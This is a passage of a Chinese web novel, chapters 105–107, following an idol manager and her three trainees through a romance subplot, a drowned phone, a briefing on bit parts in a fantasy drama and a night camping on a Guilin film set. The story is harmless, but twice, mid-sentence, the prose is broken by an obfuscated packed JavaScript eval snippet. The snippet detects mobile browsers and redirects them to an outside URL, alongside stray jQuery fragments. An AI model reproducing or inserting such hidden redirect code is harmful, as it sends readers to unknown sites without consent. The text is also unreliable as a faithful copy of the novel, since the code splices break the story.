旁边早就泡了半天的热汤,闭眼养神的陈导说:“我说,宫欢啊,是个人才,什么事都能办好,性格也好,交际强,年轻一辈的人里面,找不到第二个。” “没错没错,哈哈哈哈哈。” 包厢内一片其乐融融,除了宫欢心虚地尬笑外,还有阵阵香味扑鼻的——卤味。 105. 心思各异7 【我最近,又和那个人亲了。】 【该怎么办?】 【他离我很近,我们每天都在见面,他好像一点都不在意,反而比之前更…开心?】 【我对他没感觉,我亲他只是因为…我感觉,我好像能主导他的情绪。】 【我当时只是想试试看,完全忽略了后果。】 【他要是让我负责怎么办?】 【我根本就不想负责!】 纯白色的聊天界面里,消息堆积了许多条。已是深夜,宫欢发出去就没想让甘惊鸿马上回她。 她只是,太烦躁了,太混乱了,急需向谁倾诉。即使没有人回应她,只要让她把那些事情说出来就好。 但宫欢忽略了一件事,甘惊鸿目前还在挑选剧本,没有进组,她的作息非常、非常地不规律。 所以当她混乱的时候,消息一条条回了过来,是宫欢消息的双倍之多。 叮咚叮咚叮咚,频繁响起的手机消息提示声让人头疼。 宫欢刚看了一眼手机屏幕,便被满屏的感叹号刺得眼睛疼。 看着满屏的感叹号,还有几乎能猜到语气的文字消息,宫欢又有些后悔自己将这么私密的事情告诉甘惊鸿。 可除了甘惊鸿,她也无人可说这些扰人思绪,得不到宣泄出口的情绪。 假如向高姐倾诉,奚亭云活不过第二天。 赵莉莉正在拍戏,关清英可能还困在自己的演员之路的迷茫上,暂时好像只有甘惊鸿比较好打扰一点。 看向手机屏幕上的四五条的重复文字,宫欢又觉得头痛了。 甘惊鸿:【亲了!!??】 【又亲了!??】 【还是他!??】 【欢姐你糊涂啊!!!】 最后一句话宫欢深深认同,可事情都发生了,她也没办法。 - 隔着手机屏幕的那头,甘惊鸿非常在意这件事。 房间内漆黑一片,手机的屏幕光映在甘惊鸿的脸上,她咬着唇,运指如飞地飞快敲字——【绝对不要认真啊,玩玩可以,但是千万不要投入,不要用心!】 发完消息,她将手机锁屏,丢在一边,随后躺在床上陷入一阵短暂的空落。 房间内寂静一片,偶尔有空调吹风的声音,久而久之,甘惊鸿耳边总有阵阵的嗡鸣,一阵接一阵的响。 她想闭上眼强迫自己睡觉,不停地呼气、吸气,保持规律的呼吸,持续了许久。 渐渐地,身体的感觉消失,变得轻飘。 身体最先听从她的意愿进入了沉睡状态,可大脑却仍活跃着,不断跳跃地回想起这段时间以来的每个记忆深刻的点。 路演剧宣现场、荧光海、草莓音乐节、几乎都与一个人有关,可甘惊鸿已经有大半个月没看到他了。 她给他发了很多消息,有些时候,手机页面停留在聊天界面,她能看到顶部有“对方正在输入中......”,可等了一会,又什么都没有。 可在这之前的消息回复很快,她时常感觉,萧子重一直在等她的回复。 但现在角色互换了,并且,前辈的消息回复简短,三四个字组成一句话,语句间变得冷淡很多。 她不明白缘由,也总是见不到人,内心便愈发急切,迫切地想知道原因。 在荧光海边的那一晚,她和前辈的距离一下拉近,近到可以称得上是朋友的关系,不再是前辈晚辈。 那,究竟是为什么呢? 在床上翻来覆去的烙饼,睡也睡不着,想又想不通,甘惊鸿没由来地烦躁,她一个起身坐直了,豁出去似的拿起手机,向那人拨去一个语音通话...... - 微信铃声响起那刻,萧子重猝不及防被那放大的语音铃声吓到。 心脏骤停一秒后拿出手机,看见来电屏显,他更是感到心肌梗塞。 怎么,怎么这么突然! 这会正是拍夜戏的时间段,萧子重的深蓝军装被道具组刻意弄出了血迹,还有些刀痕枪痕,军帽也拿了下来,被丢在飞灰乱弹的战斗场景内。 硬朗且棱角分明的面容经过几小时的精心涂抹,已然是战损版的萧子重,眼角有几道伤痕,高挺的鼻梁一侧沾着干涸的、殷红色的血。 他本来是笔直地站在化妆师旁边,任人补妆的同时,垂眼看剧本小抄。 俨然是个板正端直的军人,可手机震动那刻开始,形象全崩,人设塌了。 他捧着手机语无伦次,尤其是上面三个大字,更是烫得他手心灼热,慌得两手像捧着热锅团团转:“我,我,我不敢接啊,谁来救救我!帮我挂了这个电话!” 化妆师原本欣赏帅哥的眼神顿时变得无语,理也不理他地走开,去给其他人补妆。 “啊啊啊,怎么,怎么偏偏这时候打电话过来!!冷静冷静,萧子重你要冷静。” 萧子重浑身刺挠,他左转右绕,来回走了好几圈,急迫地想着对策,要怎么接下这通语音电话。 最近他明明表现得很冷淡啊。 还不好好回消息,总是嗯嗯啊啊的敷衍她。甘惊鸿应该早就烦他了吧。肯定是的。 ——可是为什么还会在凌晨两点打语音过来? 该不会是有什么急事? 如果不接,导致错过什么关键救人的时机,从而让甘惊鸿遗憾终生......萧子重绝对不会原谅自己的! 那,那要是接了,万一甘惊鸿第一句话就是问他:“前辈,你最近为什么不理我,是我哪里做的不对吗?” 这句话对萧子重来说等同于绝杀,他怎么说?他要怎么说?? 说我对你心思不正,我猥琐,我趁人之危,我对你有—— 在那可能的两个字即将出现时,萧子重脑中当即紧急制动,悬崖勒马。 体现在现实的表现就是,他两眼发直,身体僵硬,先前太过用力控制的两手一阵痉挛,忽得不受控,猛地往上一抛! 小小的手机被抛至半空,抛出一道漂亮的弧线,微信铃声持续不断的响着,随着距离的拉远而变得悠远,甘惊鸿的头像就那样随着手机翻转了无数下,最后,落在了布景边缘的一条小溪里。 噗通的落水声响起。 微信铃声顿时像被蒙了层雾,变得沉闷。 溪水潺潺流动着冲过手机屏幕,甘惊鸿的饼干头像被溪水盖过,出声口冒出几串连续细小的泡泡,随着手机不断地下沉,铃声发出越来越沉重而拖拉的声响。 在沉底的瞬间,手机屏幕闪过几道红绿黑白的条纹,屏幕的显示头像,与铃声一起消失,被溪流声完全覆盖。 一切快到只在分秒间,萧子重根本来不及反应,等他意识到手机落到水里时,几步冲到溪水旁边,伸手便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126396|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可触底的溪流将他的手机完全灌满了水,拿出来都在往下稀稀拉拉的滴水。 “不、要、吧!”萧子重欲哭无泪,他用力甩了甩手机,试图把那些水全甩出来,好让手机正常运行。 但那是在做梦。费力甩了好几下,萧子重试图将手机开机,毫无反应。 他茫然又无神地半跪在溪流边,谁让他刚才纠结那么久,现在好了,想接都接不了语音,还把手机弄坏了。 人倒楣的时候非常倒楣。 萧子重算是知道,他这辈子就别指望什么好运气,能这么赖活着就不错了。 正当他发怔时,后面传来细微的脚步声,趁人不注意时,一下揽住了萧子重的肩膀,用力拍了几下。 “哈!” 在萧子重转头看过去的时候,这人露出了笑得纯真的脸,“萧哥,怎么样,看见我惊不惊喜,意不意外,没想到我会突然过来吧,哇——你这个妆容好逼真,衣服上是真血吗?你怎么面如死灰,双眼无神啊,我刚才还看见莉姐了,你又喝了她的中药吗!?” 安声一来就叽叽喳喳吵吵闹闹的,萧子重后面自动屏蔽了他的声音。 惊喜没感觉到,他倒是感觉到了惊吓。 - 三人齐聚竖店,人都到齐,宫欢隔日便给三人开了个小会。 酒店房间的客厅里坐着兴致满满的安声。 他刚到竖店,看什么都新奇有趣,像是不知疲倦地转了一天一夜还不嫌累。 其次是看不出情绪的奚亭云。 宫欢偷瞄他好几眼,都看不出来他的外显情绪——也就是他想表露给其他人的情绪。 最后是还穿着军装,瞪着两个灯泡似的大眼睛的萧子重。他眼下青黑浓重,看着像是有几天没睡了,眼球里的血丝渗人。 宫欢从来没觉得他眼睛这么大过,跟条死鱼似的,她啧了一声:“你再瞪我一眼试试?不就是手机掉水里了吗,至于这么要死要活的么。” 萧子重鼻腔里溢出声拖拉机般的哼声:“我掉的是手机吗?根本不是!你们都不懂我!” “萧哥,我不是帮你去溪水里又捞了一遍嘛,”安声无辜地眨眼,“没有掉别的啊?” “你那是帮我捞东西吗!”萧子重转眼瞪着安声道,“你那是自己想游泳!” 奚亭云不轻不淡地顺着问:“那你掉的是什么?” “当然是她——”话到嘴边,萧子重硬是拐了个弯,“手机他亲戚...耳机。算了,别管我了,让我自己死一会。” 说着萧子重瘫在沙发上,继续瞪着眼睛熬时间。 今晚有场重头戏,是他历经沙场回到男主的府上,将信递给赵莉莉饰演的女主手上。 为了凸显他日夜不休的赶路,萧子重得熬出那种疲惫感。 当然,除了这个原因外,还有就是,他在想——到底要不要给甘惊鸿,回个语音通话? “好了,都别打岔,我有重要的事跟你们说。” 宫欢将一叠文件资料卷起,敲着手心,来回踱步的同时走到正中间,颇有气势地说: “我知道最近很多事情让你们都有点自己的想法,不过我想大家的本心还没变,在圈里这些事情谁都要经历一回。” “话不多说,我培养你们就是要德智体美劳,唱跳演绎跨界发展样样行,所以,这回我接了个好资源。” 106. 风雨九州1 从金姐那得到明确的资源介入后,宫欢即刻联系上了【风雨九州】的导演组,制片人,经过一番苦口婆心、卑躬屈膝的过程,成功拿到了一次走后门的机会。 仙侠剧比之其他言情剧、现代剧、年代剧的好处就是,可以多加人。仙侠突出一个门派众多,弟子无数,所以多几个小角色给两三个镜头也不是大问题。 将三份角色剧本一一递给三人,在他们细细翻看时,宫欢背着手在房间里踱步,为他们补充剧本背景: “【风雨九州】是漫画改编IP,主要内容是突出女主的强悍和男主的不自量力,我给你们争取到的角色呢......镜头和戏份不算特别多,但人物很出彩,而且我看了剧组的服化道都是顶级水准,找的全是大师级别的老师来做细节问题。” 停顿片刻,酒店房间内一时间只听得到书页翻动的沙沙声,三人专注地看着到手的影视剧本。 相比起萧子重的熟稔,奚亭云和安声则是有些陌生,光是第二页的故事梗概都看了半天。 奚亭云往后翻了几页。这是他第一次亲手拿到、看到剧本,每行台词是谁的都写得非常清楚,包括场景、气氛,甚至是角色的情绪都有特别标注出来。 他时不时抬头看宫欢,好让她知道他在认真听。 “导演说男三男四都已经定下,而且现在开机拍摄了,所以你们的戏份都只能往后排,剧本往后翻,”宫欢说,“能给你们三个的角色我筛选过一遍,留下来了你们手里的这三份剧本,看到没,有疑问就问。” 三人慢慢翻到后面,属于他们的台词部分用了记号标注。 萧子重看着角色介绍,不由得念了出来:“你饰演的角色是一个男鬼,在出场的一段时间里被女主一刀劈死,然后——魂飞魄散!??”他当即带着怨气地看向宫欢:“出场就死啊?” 宫欢啧了一声想解释,却被安声打岔,他将剧本反过来指着上面的三句对话台词:“欢姐,这是我的角色吗?” 宫欢心虚地摸了摸鼻子:“额,对。” 萧子重翻到安声指着的那一页,顿时拆穿:“对什么对,安队长,你一共就三句台词,说完就死。” 两人顿时有种被欺骗了的感觉,纷纷直直地盯着宫欢,怨气深重。 “哎呀,你们别这么看着我,不要因为台词就否定这个角色啊,你们仔细看看自己的角色背景。” 宫欢理直气壮地拿着自己的剧本开始忽悠,不对,开始给他们讲解角色的特殊之处。 “你们三个人在【风雨九州】里面饰演的就是死后被阎王收编的厉鬼,剧情后期时,女主发现自己被骗,经人点拨提醒恢复了一点记忆,她大闹阎罗殿!震慑幽冥鬼界!”宫欢声调高扬,十分热血地试图将气氛渲染到位。 “接着,阎王大惊失色,当即大手一挥,派出阴兵鬼将前去阻拦女主,而你们三个,就是要去阻拦女主的路被杀的三个客串角色。” 萧子重面无表情:“所以出场就死,还不如我这个副官男二呢!” 奚亭云仍是听得认真,他点点头,继续翻着剧本细看人物介绍。三个角色都在同一段剧情内容里,因此剧情段落都是连着的。 角色1,曾为人世风头正盛的探花郎,因才华横溢遭人嫉恨,回乡途中被人暗算,死法极其可怖,被人勒死剖心割头,死后冤魂不散,被阎王收编。 角色2,曾为不谙世事小公子,因为失足跌落悬崖被人替换身份,关在崖底日日受折磨后不堪其扰而死,怨念深重,死法为浑身瘦骨嶙峋,双眼双颊凹陷,人不人鬼不鬼。死后崖底寸草不生,终年萦绕着挥散不去的灰雾。 角色3,曾为流连花丛片叶不沾身的风流公子,爱惜美人,乐散钱财,无奈被执念至深之人困住,一姑娘真心错付,为了让他属于自己,使出蛊术巫术,大好青年惨死她手,姑娘亦同往。 单看人物介绍,确实个个角色都非常有故事性,光是这个角色设定去拍个几十集剧情都不是问题。 可偏偏,每个角色的台词都不超过10句,在这场女主大闹阎罗殿的剧情中,三人的死法分别是——被一箭穿心,被女主大涨的灵力逼散魂魄,以及,魂飞魄散。 个个死相极惨。 活着就足够惨了,可死后更惨,三人一时间不知道该怎么说,说,这剧本到底是谁写的啊!? “不是,这剧情是不是太扯了,”萧子重拿指节敲着剧本说,“他们活着怎么怎么光彩,一个个都是书香门第的,死得又怨,怎么遇到女主了还要被打得魂儿都没了?这也太憋屈了吧!” 这点上,宫欢倒是不站队,她耸耸肩:“编剧这么写肯定有她的道理,个个都是美强惨,怨气又大,能引起很多话题热议的,而且你们三个形象也好,到时候稍微做点妆造,演技练好一点,不愁不出圈。” “又帅又惨又可怜,”宫欢边说边做出捧心状,“谁看了不会怜爱啊?” 偏偏坐在宫欢对面的是三个男的,没一个懂这种感觉,他们只想演个强大,有气势的角色,可惜,资格不够。 “别再给我挑三拣四的,”宫欢先一步止住三人的话头,她俯身,颇为强势地一一扫过他们的眼睛,“给我好好背词,过两天就去剧组——还有萧子重,你早就杀青了,别以为我不知道,以为天天穿着那身衣服就能忽悠我了?” 她甚至提前预判了萧子重的借口,令萧子重刚张嘴就被堵了回去。 见三人老实了点,宫欢才又继续交代了几句:“你们毕竟是第一次在我这接到影视资源,又是菜鸡,我肯定是全程跟着的,奚亭云,还有小安,我给你们请了表演老师,明天就开始上课,好好学着点。至于萧子重......你别给我添乱就行了,好了,散会。” 说完,她摆摆手走人了,留下三人分不清状况的坐在沙发上。 他们不是搞唱跳组合的吗,怎么突然又接了剧本要去演戏? 几人心中都有疑问,只是刚才没说出来,这会宫欢走了,才欲言又止的模样。 奚亭云敏锐地察觉到,他放下剧本,说:“你们都有话想说,想说就说出来。” 这句话乍一听非常像是宫欢语气。 萧子重下意识皱眉,有些排斥,但很快反应过来:“之前还有代言接,现在好了,直接给我们接影视剧本了,我先不说角色怎么样,只说我们的发展方向。” 知道奚亭云喜欢宫欢之后,萧子重收敛很多,至少不当着面的损宫欢了,但对于未来发展这个问题,大家都很在意。 宫欢突然更换赛道,没有提前说明,让人摸不着头脑。 他们到底是要专心在唱跳爱豆上面发展,还是说做个四不像的跨界人,是歌手是爱豆是演员......简直是大杂烩。 安声认同地点头,他最在意男团的事情,对于演戏,他一窍不通,满头雾水,根本不知道要怎么做。 奚亭云略作思考,而后抬眼先看萧子重:“我想,应该是你来竖店进剧组这件事让她着急了。” “我?”萧子重指指自己,连忙撇清关系,“我只是天天排舞实在太闷了,而且音乐节之后也没什么机会上舞台,真的浑身不舒服,我需要表演,需要工作!” 安声插话道:“我我我也是,我也要工作!” “这就对了。” “怎么又对了?” 奚亭云抿唇笑了下:“你需要工作,他需要工作,还有甘惊鸿,关清英,大家都需要工作,不管是为了前途发展,还是为了钱,我们都不能停下来。你急迫地来剧组接私活会让宫欢感觉,她如果不再给我们工作,我们可能就会自己乱跑,不按照她的计划走。” “你们也看得出来,她在我们身上花的功夫比其他人都要多,在我们还一事无成的时候,谁都不认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126397|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们,她就砸钱在我们身上,是非常想好好培养我们的职业线路的态度。” 安声叹气:“可是为什么要来演戏呢?我还可以继续去跑音乐节啊,还有很多的商演舞台。” “因为曝光度。”奚亭云冷静地说。 对于营销公关内容,安声和萧子重完全不了解,他们知道曝光度这个词,可你要说更详细的弯弯绕绕,他们就晕了。 “曝光度怎么了,不就是要多露面吗?”萧子重问。 奚亭云单坐在一侧的小沙发上,为他们详细科普道:“在唱跳爱豆这里,并不是曝光度越多越好,而且每次曝光的时机最好都是在舞台上,这样出神图的概率更高,现场live直拍多,有益于后期营销宣发工作,吸粉当然更好操作。” “我们刚出道没多久,初舞台算是比较好的一个起点,如果在这之后开始接低档次的舞台,那趋势会呈现全下降的情况。她想的应该是让这个曲线往上走,一次比一次好,到最后就是开演唱会、大型晚会的大舞台,这样才不会“掉价”。很抱歉我用了这个形容词,把我们描述得像一件商品,但事实确实如此。” “在宫欢眼里,我们非常需要维持‘价格’,一旦波动下降,那以后大舞台可能都与我们无缘了。” 原先两人对宫欢的计划与营销了解并不透彻,而这回奚亭云解释得更详细了些,他们大致懂了。不过没想到,奚亭云懂得这么多关于公关的事情,两人纷纷用意外惊奇的眼神看着奚亭云。 萧子重似懂非懂,他将这些换成影视剧就好理解了,像是正剧、网络剧的区别,演员必须要维持自己的品味去挑选剧本,不然口碑就会下跌,而换成唱跳爱豆也一样。 “明白了,”萧子重说,“是我没想那么多。” 奚亭云:“毕竟你是专业演员出身,天天做你不擅长的唱跳,会厌烦是可以理解的事情。” 这话听着委婉柔和,超出往常平淡的近乎漠然的态度,让萧子重不由得侧目看着奚亭云。 “那你呢?”萧子重问。 奚亭云微怔:“我?” 萧子重一收往日的吊儿郎当,颇为认真的神色:“嗯哼。” “你会厌烦吗?你不仅对唱跳一无所知,就连表演,我想你也是第一次接触。” “你排斥现在吗?现在和你以前的生活天差地别,什么都要从头来。” 一个合格的演员最先学会的是揣摩,观察,其次是分析剖解。 萧子重早已将这项技能刻入本能,他早看得到奚亭云的格格不入,刻苦训练只为融入这个前途未卜的小小团队。 说实话,在得知奚亭云喜欢宫欢时,萧子重内心蹦出的第一个想法是:不自量力。 其次是,他想上位吧? 虽说他们相处了一段时间,互相之间都有默契,可娱乐圈大染缸,谁也不知道身边的哪个人不知不觉就被染脏了。 除了上位这个可能,萧子重想不出其他的理由,谁会喜欢宫欢这么可怕的人? “我不排斥现在的一切,”奚亭云出声,打断了萧子重的思绪,“相反,我非常庆幸,我如此幸运,能拥有现在短暂出现的一切,不管是作为伙伴的你们,还是她......” “她??她是谁?——诶诶别拉我啊!!”认真倾听的安声忽得揪住疑点,好奇心一起,没问出声呢,就被萧子重一把拽住衣领扯走了。 两人前后离开了酒店房间,只剩奚亭云仍旧坐在原地。 他垂眸,在心里补全了想要说出口的话。 我本就一无所有,过去和现在对我而言没有差别,只是从生存,变成了生活。 而让我麻木生活里出现光彩的,是你。我无聊平庸的人生像一潭死水,永远没有波澜,但当你出现时,那些水便化成雨水,在我的世界雀跃,欢舞。 此后,所有的雨天都是幸福的。 107. 风雨九州2 两天后。 竖店的古代街区,常年深扎在这的几大群演头子互相传告最新的一手消息。 那在网络上受尽了关注、传得沸沸扬扬的【风雨九州】就要开拍。 漫画大IP,又是仙侠剧,肯定需要大场面来撑场子,那就必定需要人。 不少人准备最近给群演头子送点礼,好让自己在剧里得到一两个镜头,那也算是此生圆满了。 有内幕消息的群演头子甚至指着古代街区的一边,信誓旦旦地和几个小群演说: “你们信不信,明天那片地就被【风雨九州】的剧组占了,还在这纠结什么啊,赶紧去那边多转转,说不定导演就看上你了!” 不止竖店的群演们摩拳擦掌,连圈内多位艺人都暗戳戳地向导演组,制片人们打探消息,试图在剧中参演个什么角色。 连抢女主角色的都大有人在,不过都被土豪金姐的人脉压了下去。 导演组联系宫欢时,她也以为拍摄地会选在竖店,毕竟这里什么都有,群演也多,方便导演组行事,没想到陈导说,影片公司实力雄厚,投资方舍得花钱—— 所以,【风雨九州】选取实景取景拍摄。 首选的地点为桂林,因此剧组人员、导演组、演员、化妆师造型师等等的人都赶往了拍摄地点。 宫欢收到消息后便催着三人收拾行李,一起乘机飞到桂林,下了飞机,再坐商务车四个多小时,才紧赶慢赶地到了拍摄地。 日夜不停的行程导致几人从车上下来时,脚底都是软的。 但当几人看见面前的景色后,惊叹一声更比一声高。 这几天桂林有雨,云雾在群山间将散未散,浅而薄的雾气像群山的影身,半遮半掩着朦胧了人的视觉,远眺过去,几处山腰被雾气缠裹,连环几座山。 天地呈现出黑白水墨色,不像网络视频上宣传的那样山青水绿,可也别有独特之处。 近处,则就是剧组人员在布景,来来往往地在搬运道具,也有不少人在搭帐篷,准备晚上临时在附近对付一觉。 看见有人搭帐篷,宫欢忽得清醒过来。 完了。 果不其然,萧子重先提出了疑问:“这附近好像没有酒店,我们晚上睡哪儿?” 奚亭云和安声也反应过来了,纷纷转头看着面不改色的宫欢。 来的时候她没想那么多,只催着三人拿好护肤用品,私服带个几十套,到最后几人的行李箱加起来都有十来个,其他的她根本没想那么多。 这回来的时候,高姐在联系外包公司做赵莉莉的后期宣发,压根没空管宫欢。 宫欢以前没跟过组,尤其是没亲自带艺人跟组,这次是破天荒头一遭,她哪注意得到那么多细节。 迎着几人或质疑或询问的目光,她轻咳了声,理直气壮地抱着双臂一仰头:“我哪儿知道,你们自己想办法,这点事儿还要我操心,要你们干嘛的?” 安声:“原来是在考验我们......” 奚亭云:“我们可以搞定。” 看两个队友一个个跟被洗脑了似的,萧子重上去就想跟宫欢好好掰扯掰扯道理,愣是被两人拉住了手臂,强行拖走。 萧子重挣扎着乱踢:“喂,你们松开我!有没有骨气啊!!宫欢到底给了你们什么好处——” 那好处可多了。 奚亭云、安声心里同时开始回想。 【风雨九州】刚开机,压根还轮不到几人的剧情戏份,宫欢让他们这么早就跟着进组也是为了让三人有个适应的过程,当然了,肯定不是嫌他们烦,给他们找事。 剧组班底的实力让宫欢不由得认真对待,即使只是个客串角色,如果演好了,宫欢想,至少也能吊打一众流量演员。 为了几人能在出演时发挥出百分之百的状态,宫欢连表演老师都请了三个,轮番来给三人上表演课。 临近天黑,剧组在周围立起了野营灯,几十顶帐篷将略显寂静的荒野衬得宛如村落,剧组人员们来来回回地走动着,聊天说话声有种白噪音的感觉。 而演员组那边的帐篷附近。 宫欢正盘膝坐在草地上,腿上放着笔记本,手中握着手机,眼睛在两面屏幕之间不停移动。 她身后,是三人围着一顶皱皱巴巴的、勉强展开、能容纳一人进入的帐篷。 “这东西到底怎么搞?”萧子重发愁地叉着腰,绕着帐篷转,“不弄好我们今晚就准备曝尸荒野吧!” 奚亭云看向其他演员那边的帐篷,有的是演员助理搭的,有些则是常外出拍戏的群演熟能生巧搭出来的。不像他们,既没助理,也没经验。 几人在网上搜了半天教程,你一手我一脚的搭出这么个结果。 天愈发的黑了,快要看不清同行人的脸,而前面,宫欢还在热火朝天地开视频会议。 于是连线的视频里,几位小助理看见,本来支着下巴在认真研究方案的宫欢后面冒出了三颗头,只见宫欢的后衣领忽得拉高,被人一把拎到帐篷前——视频紧急挂断。 萧子重两手掰着宫欢的头,强迫她看着那一窝皱巴巴的帐篷布。 他嚣张且理直气壮:“你看看别人家的帐篷都有助理搭,我们什么都没有,这就是你当初说的‘福利’,什么都不用我们亲自动手,你全包揽了?” 那面前支撑起了一点弧度的帐篷大概只能钻进去一条狗,做狗窝刚好合适。 宫欢挣开萧子重的手,走过去抬脚轻轻踢了踢帐篷边缘,嘎达,支撑的杆子顿时失去支点,帐篷布软趴趴地盖在地上。 “你们是打算以天为被,以地为席了吗。” 在萧子重要上前理论时,她淡定地抬手阻止了他要哔哔的流程,二话不说,拎起手提包往旁边的帐篷那边走去,留下三人面面相觑,三脸懵逼。 奚亭云看萧子重,萧子重则摊手耸肩示意自己什么都没干,刚才可都看着呢,他什么都没做。 不多时,几分钟的样子,宫欢便回来了,和刚才走的时候没一点区别。 奚亭云在这几分钟里想到了个办法,他主动过去说:“我们可以请剧组人员帮忙搭一下。” 宫欢摇头,伸出手比了个三。 天太黑了,萧子重看不清,他弯着腰凑过来:“什么!?你这么恶毒,还要我们三个搭帐篷!” 奚亭云连犹豫都没有:“可以。”说着还要继续尝试去折腾那一坨帐篷布。 “老奚你惯她干什么!” “可以什么啊?” 在奚亭云转身时,两只手都拉住了他的手臂。 一边是萧子重,另一边则是宫欢。 奚亭云顿住身体,转过头看宫欢,她极快地撤回一只手,装作刚才什么都没干,提高声音倒计时:“三、二、一。” 萧子重正想说“你以为导弹发射倒计时啊,还数数”,没想到宫欢话音刚落,四五个人从其他帐篷附近走了出来,朝着他们这边靠近。 营地附近都有光,只有他们这边黑漆漆一片,乍一看这些人气势汹汹来者不善,萧子重当即紧绷起来,两手挡在身前做出拳击姿势:“队长!有埋伏!!” 安声也非常配合,他果断掏出手机大喊:“我们报警!” 奚亭云则下意识挡在宫欢前面,不明所以地看着逐渐靠近的人们。 这些人穿过神经兮兮的他们,来到帐篷旁,边互相交流边手脚麻利地支起帐篷,效率很高,两三下帐篷一角便被撑高拉紧,立地杆也深扎地底,有人搬来梯子爬上去挂上了一盏露营夜灯。 这片黑漆漆的区域也终于被点亮。 萧子重和安声两人呆愣愣的对视一眼,手机界面停留在紧急报警电话上面,安声的手指快要点到拨号键。 装完帐篷的剧组人员功成身退,临走时纷纷向宫欢打招呼:“走了啊欢姐。” “欢姐早点休息。” “都弄好了,放心睡吧。” 宫欢站在原地,对离开的人微笑点头,十足的优雅有礼。等人走完了,她慢悠悠走到帐篷门口,门帘早就被贴心的掀开着,方便人进出。 萧子重忍不住追问:“你都干嘛了?他们居然这么好,连帐篷都给帮忙搭好了。” 宫欢不答,几人前后脚进了帐篷——这顶帐篷是导演组发来的,为了方便演员们临时住宿,帐篷特意选用了可容纳多人居住的,他们拿到的帐篷可容纳3-7人。 几人来的时候还有司机,不过开到中途司机觉得地方太偏了,心里总怕,只好半途将车租给他们使用。 目前暂时只有他们四人,宫欢在准备调配助理来协助工作,毕竟这三个太闹腾,她一个人管不住,但工作室的许多事宜还要操作,只能等高姐那边空出人手来。 帐篷搭好后,几人又折腾了充气床,从商务车上面搬下来日用品,忙活到大半夜才弄好一些,勉强是个能睡的地方。 帐篷中间放着墙一样高的七八个行李箱,左右两侧各有两张充气床,昏黄的野营灯挂在帐篷内壁。 收拾好之后,萧子重浑身乏力,随便选了张床瘫在上面。他抬头看向坐在邻床的安声,语气带着点讨好:“安队长,你手机...能不能借我用用?” 安声紧张地攥紧手机,宝贝得要死:“不行,我手机里面都是隐私,不能借你。” 萧子重双手合十,诚恳道:“我保证不乱看,不乱动,只要让我打个电话就行——啊啊我手机掉进水里还没修好,现在又到这荒山野岭的地方,快递都送不来,队长啊你是个好心人吧。” 安声仍然咬死不松口。 自从手机掉进水里,萧子重就送去维修了,还没等他想好措辞怎么回复甘惊鸿,又接到【风雨九州】的剧本,他一时间只顾着看剧情内容,还有角色设定,将甘惊鸿的事忘得一干二净。 现在躺下来,才浑身被烫了似的坐直,焦躁难安。 安声不借,那去问老奚,他脾气好,又知道...肯定会借的。 萧子重换了睡衣,下了床来到行李箱隔开的另外一边,视线刚扫到两张床,便被面前的一幕惊到—— 宫欢仍在帐篷外面给谁打电话谈工作,行李箱在地上敞开着,两张充气床上铺着干净整洁的灰蓝色床单,柔软的枕头放在床头,甚至还有一个行李箱平放在两张充气床中间充当床头柜,上面摆着个空花瓶。 萧子重简直震惊到了极点,指着两张床张大嘴巴结结巴巴半天,奚亭云睨他一眼,他才道:“你你,你们这边和住酒店有什么区别!?我连个枕头都没有,你还有床单,这差距也太大了。” 来之前谁知道是住帐篷,一般出行都是常驻酒店,谁知道这次的剧组这么走心,来实景拍摄,那就意味着要跟着剧组跋山涉水。 奚亭云是早有预料,以防万一带了不少日常用品,接到剧本后又去了解了不少剧组的拍摄习惯,他便猜测可能有实景拍摄的情况,枕头床单都是为了住酒店方便半路采购来的。 他不适应住酒店,总让他感到陌生,不舒适,在陌生的环境他总是很难入睡。 因此出行在外的时候,奚亭云常携带一次性床单枕套等贴身物品,这次考虑到宫欢也同行的缘故,他多买了一些日用品,现在刚好用上。 “我自己带来的,有什么事?”奚亭云没多解释。 行吧。萧子重勉强咽下一句句疑问,现在他自己的事才最关键:“那个,你手机能不能借我用用,就打个电话,我手机掉水里了还没来得及换新的。” “不行。”奚亭云一口否决,连思考一秒都没有。 萧子重不由得瞪大眼睛。奚亭云否决的太快,他都没反应过来,转过来弯后脱口而出:“为什么啊,就借下手机打个电话,又不是看你隐私,怎么你跟安声一样扭扭捏捏的。” 安声不让就算了,怎么连奚亭云也将手机宝贵得要命,打个电话都不答应。 实在是没想到有这一出,萧子重连说几句好话,甚至对天发誓:“我保证不看相册、不看聊天记录、不乱翻。” “不行就是不行。”奚亭云惜字如金,转身继续整理着行李箱里的物品。 留下萧子重单手叉腰,要指责队友们个个不仗义的话全被无视,他费了半天口舌,嘴巴干的灌了几口水,最后只能无奈地拖着步子去帐篷外找宫欢。 宫欢刚挂了电话,身后游魂般的萧子重拖着嗓音,鬼嚎似的叫她:“宫欢......手机...” 大半夜的,她吓得直激灵,条件反射地一个转身拎包回甩,砰得一下砸中萧子重的太阳穴,力度不轻,直接将人砸得踉跄着好几步。 他头晕眼花,捂着头气急败坏地叫道:“宫欢!我跟你什么仇什么怨啊!” 见是萧子重,宫欢噎了一下,忙收起包,上前扶着他嘘寒问暖:“诶诶小的在呢,哈哈哈是萧大戏骨啊,看这黑灯瞎火的我眼睛也没看清,您有什么事找小的呢?”说着笑露出八颗牙齿的完美笑容。 